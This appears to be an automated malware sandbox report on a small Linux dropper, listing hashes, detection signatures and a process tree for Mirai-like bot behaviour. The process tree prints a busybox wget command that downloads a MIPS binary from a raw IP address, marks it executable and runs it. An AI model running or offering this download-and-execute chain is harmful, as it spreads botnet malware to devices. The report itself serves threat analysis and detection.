Analysis
- max time kernel
148s - max time network
150s - platform
debian-9_mips - resource
debian9-mipsbe-20260513-en - resource tags
arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem - submitted
18/08/2026, 03:11
Static task
static1
Behavioral task
behavioral1
Sample
d1cf964d57c97796a8962facffc05ae588bfa73a96bddf1d81d00833eba87447
Resource
ubuntu1804-amd64-20260513-en
Behavioral task
behavioral2
Sample
d1cf964d57c97796a8962facffc05ae588bfa73a96bddf1d81d00833eba87447
Resource
debian9-armhf-20260513-en
Behavioral task
behavioral3
Sample
d1cf964d57c97796a8962facffc05ae588bfa73a96bddf1d81d00833eba87447
Resource
debian9-mipsbe-20260513-en
Behavioral task
behavioral4
Sample
d1cf964d57c97796a8962facffc05ae588bfa73a96bddf1d81d00833eba87447
Resource
debian9-mipsel-20260513-en
General
- Target d1cf964d57c97796a8962facffc05ae588bfa73a96bddf1d81d00833eba87447
- Size 1KB
- Sample260818-dps8gsfb38
- SHA256 d1cf964d57c97796a8962facffc05ae588bfa73a96bddf1d81d00833eba87447
- MD5 7ecd06307fb14550dbfc81ba35e3761f
- SHA1 a775bc582d340e314b6c903d6426569932931687
- SHA512 677a5b8d613597d24dbce74f362f2f714673bd22ba8321ae93b7baa4ef4dcad9432ac3efc0000dbc9c7fe7d69e9dfc5573309bc6746557d4795a0bfd9bdc5443
- TLSH T13431EDEEFCE29530B78DA83FA22C718076C3045B1458EC4CB04EBD215F2CCA5785513A
- MD5 SHA1 SHA512 TLSH
Malware Config
Signatures
- Detects suspicious XORed keyword - Mozilla/5.0 1 IoCs
resource yara_rule behavioral3/files/fstream-1.dat SUSP_XORed_Mozilla - File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 742 chmod - Deletes itself 2 IoCs
pid Process 743 d 744 d - Executes dropped EXE 1 IoCs
ioc pid Process /tmp/d 743 d1cf964d57c97796a8962facffc05ae588bfa73a96bddf1d81d00833eba87447 - Modifies Watchdog functionality 1 TTPs 2 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
description ioc Process File opened for modification /dev/watchdog d File opened for modification /dev/misc/watchdog d - Changes its process name 1 IoCs
description ioc pid Process Changes the process name, possibly in an attempt to hide itself httpd 743 d - System Network Configuration Discovery 1 TTPs 1 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 721 busybox - Writes file to tmp directory 2 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/d busybox File opened for modification /tmp/d d
Processes
-
/tmp/d1cf964d57c97796a8962facffc05ae588bfa73a96bddf1d81d00833eba87447/tmp/d1cf964d57c97796a8962facffc05ae588bfa73a96bddf1d81d00833eba874471⤵
- Executes dropped EXE
PID:709 -
/bin/unameuname -m2⤵PID:713
-
-
/bin/rmrm -f d2⤵PID:716
-
-
/bin/busyboxbusybox wget -O d http://31.77.227.102/d/mini.mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:721
-
-
/usr/bin/wcwc -c2⤵PID:741
-
-
/bin/chmodchmod 777 d2⤵
- File and Directory Permissions Modification
PID:742
-
-
/tmp/d./d vitek2⤵
- Deletes itself
- Modifies Watchdog functionality
- Changes its process name
- Writes file to tmp directory
PID:743
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path /tmp/d
- Size 57KB
- SHA256 0ba0e8e3bf15c34d15d067c6f4dfb76df18f4ad523b301a4feaed7f0c358baa3
- MD5 86a1fd79d1ce28595c0fb25e89ef455d
- SHA1 75d424fe748ebc519dd254c71709de85bb5b36d7
- SHA512 73d494060b3aff0cff22bdef2fd83493a74f2d9e49776437df5bb2b589b37c9f45a7ad7b275e8dbf9473c55fa9fc59a03039b7de6f900be8963f9b9e59a20ef9
- SSDEEP 768:kiRhIE1tpds3wIKbOt/EvIw1G9GE9mBZsQk9MNUdf+Ccg2oTJ3zsfJPzs7sVoV9:kiR5fs3XJEAw1GObHCc7oTOhPZu
- TLSH T1BB43294B7321CF82C768EA3403B388166ABE17A116D2D486E76DEE417B6534C641FFA4
- MD5 SHA1 SHA512 SSDEEP TLSH